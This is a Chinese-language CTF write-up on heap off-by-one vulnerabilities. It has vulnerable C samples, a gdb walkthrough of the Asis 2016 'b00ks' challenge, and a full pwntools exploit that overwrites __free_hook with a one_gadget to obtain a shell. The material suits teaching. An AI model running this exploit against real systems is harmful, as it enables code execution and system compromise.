Heap Exploitation - Off By One

原理

off-by-one指单字节缓冲区溢出,是一种特殊的栈溢出漏洞,指向缓冲区写入时,写入的字节数超过缓冲区本身申请的字节数并只越界一个字节。这种漏洞的产生往往与边界验证不严和字符串操作有关。off-by-one可以基于各种缓冲区,栈、堆。bss段等等都可以,CTF中常见的是堆中的off-by-one。

循环边界不严谨

int my_gets(char *ptr,int size)
{
int i;
for(i = 0; i <= size; i++)
{
ptr[i] = getchar();
}
return i;
}
int main()
{
char *chunk1,*chunk2;
chunk1 = (char *)malloc(16);
chunk2 = (char *)malloc(16);
puts("Get Input:");
my_gets(chunk1, 16);
return 0;
}

创建了两个16字节的堆,但是在my_gets函数执行时,循环多了一次,会溢出一个字节。

字符串长度判断有误

int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1=malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}

将字符串放到chunk1中,忽略结束符\x00,strcpy会将结束符也存在堆块中,溢出一个字节。

利用思路

  • 溢出字节为可控制任意字节,通过修改大小造成结构之间的重叠,从而泄露其他块的数据或者是覆盖其他块数据,从而达到读写的目的,也可以使用NULL字节溢出的方法

  • 溢出字节为NULL字节,在size为0x100的时候溢出NULL字节就可以使得pre_in_use(就是chunk中的P位)被覆盖,这样前一个块会被认为是空闲块

    • 可以使用unlink来进行处理(unlink挖个坑,以后补)
    • 由于前一个块被改为free,那么prev_size就可以被伪造,使得块之间发生重叠。

    方法的实现前提是unlink时没有按照prev_size找到的块的大小与prev_size一致来检查。

防护

在libc-2.29之后,针对利用prev_size的方法加入了检测机制。

/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
/* 后两行代码在最新版本中加入,2.28 及之前都没有问题 */
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

可以绕过,不太好懂,可以通过例题Balsn_CTF_2019-PlainText,先挖个坑

示例

Asis CTF 2016 b00ks

题目来源:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/off_by_one/Asis_2016_b00ks

代码

首先分析代码

__int64 __fastcall main(int a1, char **a2, char **a3)
{
struct _IO_FILE *v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 1, 0LL);
welcome(v3);
updateAuthor(v3);
while ( 1 )
{
v5 = Menu();
if ( v5 == 6 )
break;
switch ( v5 )
{
case 1:
createBook();
break;
case 2:
deleteBook();
break;
case 3:
updateBook(v3);
break;
case 4:
printfBook(v3);
break;
case 5:
updateAuthor(v3);
break;
default:
v3 = (struct _IO_FILE *)"Wrong option";
puts("Wrong option");
break;
}
}
puts("Thanks to use our library software");
return 0LL;
}

在updateAuthor函数里,调用了sub_9F5函数

__int64 __fastcall sub_9F5(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]

if ( a2 <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, a1, 1uLL) != 1 )
return 1LL;
if ( *a1 == 10 )
break;
++a1;
if ( i == a2 )
break;
}
*a1 = 0;
return 0LL;
}

这个函数没有对循环边界做限制,所以会判断变量i等于32,实际上执行了33次。off_202018存放的是作者名。

后面的createBook函数

*((_DWORD *)v3 + 6) = v1;
*((_QWORD *)off_202010 + v2) = v3;
*((_QWORD *)v3 + 2) = v5;
*((_QWORD *)v3 + 1) = ptr;
*(_DWORD *)v3 = ++unk_202024;
return 0LL;

创建了一个图书的结构体,将图书的指针放到off_202010里面。

struct book
{
int id;
char *name;
char *description;
int size;
}

而之前溢出的那个函数将作者名存放到了off_202018,这俩挨着

image-20231111122347219

那么循环多出来的一次会将\x00写到off_202010也就是结构体的第一个字节,会将创建的第一本图书的低字节覆盖

image-20231111122349561

调试

定位作者名

代码跑起来,输入长度为32的字符串,然后ctrl+c进调试

image-20231111123152309

定位刚才输入的字符串,直接search

image-20231111123240047

或者,vmmap看代码段起始位置

image-20231111123348294

加上偏移0x202018,0x555555554000 + 0x202018 = 0x555555602018

image-20231111123647736

找到地址就能直接看到字符串了

image-20231111123925126

圈住的这个就是溢出的

定位图书结构体

创建两本书,图书1的书名大小为128,内容大小尽量大一点(如140),图书2的书名和内容大小为135168

image-20231111124114110

还是基址加偏移,0x555555400000 + 0x202010 = 0x555555602010

image-20231111124345081

能看到两个指针,book1的结构体指针为0x555555603770,book2的结构体指针为0x5555556037a0,那么book2相对于book1的偏移为0x30,也能看到刚才输入的作者名。

而由于作者名和图书结构体相连,所以实际上结构体指针的低位将原来的\x00覆盖了,这时候如果输出作者名,那么图书结构体的低位也会被输出。这个低位是图书结构体指针的位置,那么图书结构体指针也会被输出。打印图书信息就会泄露book1的地址。

image-20231111125344173

上面找到了偏移,通过偏移就能够找到book2。

覆盖结构体指针

接下来尝试覆盖结构体指针,查看book1内容

image-20231111131305032

0x555555603770存放的book id,0x555555603778存放的是book name,0x555555603780存放的是book description。

上半部分是book1结构体,下半部分是book2结构体。

作者名读入的\x00可以覆盖结构体指针的低位,程序后还有修改作者名的功能,那么可以直接通过修改作者名将结构体指针的低位覆盖为0,那么0x555555603770就会被修改为0x555555603700。验证一下:

image-20231111171352926

修改成功。

image-20231111185139988

伪造结构体

运用change_author_name的功能,可以重新溢出一个字节‘\00’,然后global_struct_array中的第一个元素的地址改变,可以通过为book1_description申请大一点的空间,来使的被修改后 global_struct_array中的第一个元素的地址指向book1_description内的地址,然后我们可以在相应的地址重新伪造一个book1_struct。因为有print description以及edit description的功能,所以我们通过伪造book1_struct的description使其指向任意地址,通过打印或者edit来实现任意地址的读写。

接下来要在book1_description中伪造一个 book1_struct,让book1_struct指针指向book1_description中;然后在book1_description中伪造一个book1_struct,使得其中的book1_description_ptr指向book2_description_ptr;通过先后修改book1_description和 book2_description,从而实现任意地址写任意内容的功能。

所以在之前创建book_struct时,book1 的 description 的大小要尽量大一点 ,是为了保证当单字节溢出后 book1_struct 指针落在 book1 的 description 中,从而对其可控。book2 的 description 的大小为 0x21000(135168),这样会通过 mmap () 函数去分配堆空间,而该堆地址与 libc 的基址相关,这样通过泄露该堆地址可以计算出 libc 的基址。

伪造的结构体

{
id=1;
book_name = book2_struct_name;( book2_struct+8)
description = book2_struct_name;
description_size = 0xffff
}

这里直接修改数据,构造结构体

set {unsigned long long}0x555555603710 = 0x00005555556037b0

set {unsigned long long}0x555555603708 = 0x00005555556037a8

set *0x555555603700 = 0x1

image-20231111194209974

构造好后继续运行看执行情况

image-20231111194308346

可以看到将book2_name和book2_desc打印出来了

2

计算libc基地址、freehook、onegadget

vmmap寻找libc,可读可执行的就就是要找的

选择book2_name_addr或book2_des_addr其中一个计算偏移,得到基地址就可以利用pwntools查找函数了。

由于该程序启用了 FULL RELRO 保护措施,无法对 GOT 进行改写,但是可以改写__free_hook__malloc_hook,来实现劫持程序流。

在调用malloc或者free的时候,如果 malloc_hook 和free_hook的值存在,则会调用malloc_hook或者free_hook指向的地址,假设在使用one_gadget的时候满足one_gadget的调用条件,当overwrite malloc_hook和free_hook的时候,便可以getshell,执行malloc的时候,其参数是size大小,所以overwrite malloc_hook的时候使用one_gadget的地址可以getshell。执行free的时候,可以将__free_hook的值overwrite为system的地址,通过释放(/bin/sh\x00)的chunk,可以达到system(/bin/sh)来getshell

找到gadgets后,可以先向伪造的结构体的desc中写入free_hook,然后向book2的desc中写入onegadget。而伪造的结构体指向book2的name,所以当调用删除函数时,会首先调用free释放book2指向的地址,原本的free(book2_name_ptr)会变为system(binsh_addr)。

通过

payload = p64(binsh_addr) + p64(free_hook)

edit_book(target, 1, payload)

将改写fake_book1中的description的内容,因为description指向的是book2_name,也就是说 payload = p64(binsh_addr) + p64(free_hook)将覆盖book2_name以及book2_description。

payload = p64(system)
edit_book(target, 2, payload)

这里是edit book2_description,因为book2_description被覆盖为free_hook()的地址信息,因此此操作时将free_hook指向system。

EXP

from pwn import *
context.log_level = "info"

binary = ELF("b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
hollk = process("./b00ks")


def createbook(name_size, name, des_size, des):
hollk.readuntil("> ")
hollk.sendline("1")
hollk.readuntil(": ")
hollk.sendline(str(name_size))
hollk.readuntil(": ")
hollk.sendline(name)
hollk.readuntil(": ")
hollk.sendline(str(des_size))
hollk.readuntil(": ")
hollk.sendline(des)

def printbook(id):
hollk.readuntil("> ")
hollk.sendline("4")
hollk.readuntil(": ")
for i in range(id):
book_id = int(hollk.readline()[:-1])
hollk.readuntil(": ")
book_name = hollk.readline()[:-1]
hollk.readuntil(": ")
book_des = hollk.readline()[:-1]
hollk.readuntil(": ")
book_author = hollk.readline()[:-1]
return book_id, book_name, book_des, book_author

def createname(name):
hollk.readuntil("name: ")
hollk.sendline(name)

def changename(name):
hollk.readuntil("> ")
hollk.sendline("5")
hollk.readuntil(": ")
hollk.sendline(name)

def editbook(book_id,new_des):
hollk.readuntil("> ")
hollk.sendline("3")
hollk.readuntil(": ")
hollk.writeline(str(book_id))
hollk.readuntil(": ")
hollk.sendline(new_des)

def deletebook(book_id):
hollk.readuntil("> ")
hollk.sendline("2")
hollk.readuntil(": ")
hollk.sendline(str(book_id))

createname("12345678123456781234567812345678")
createbook(128, "hollk_boo1", 32, "hollk_desc1")
createbook(0x21000, "hollk_boo2", 0x21000, "hollk_desc2")

book_id_1, book_name, book_des, book_author = printbook(1)
book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:" + hex(book1_addr))

payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0xffff)
editbook(book_id_1,payload)
changename("12345678123456781234567812345678")

book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,"\x00"))
book2_des_addr = u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_des_addr))
libc_base = book2_des_addr - 0x5b7010
log.success("libc base:" + hex(libc_base))

free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base+0x50a37 #0xebcf8、0xebcf5、0xebcf1、0x50a37
log.success("free_hook:" + hex(free_hook))
log.success("one_gadget:" + hex(one_gadget))
editbook(1, p64(free_hook))
editbook(2, p64(one_gadget))
#gdb.attach(hollk)
deletebook(2)
hollk.interactive()

参考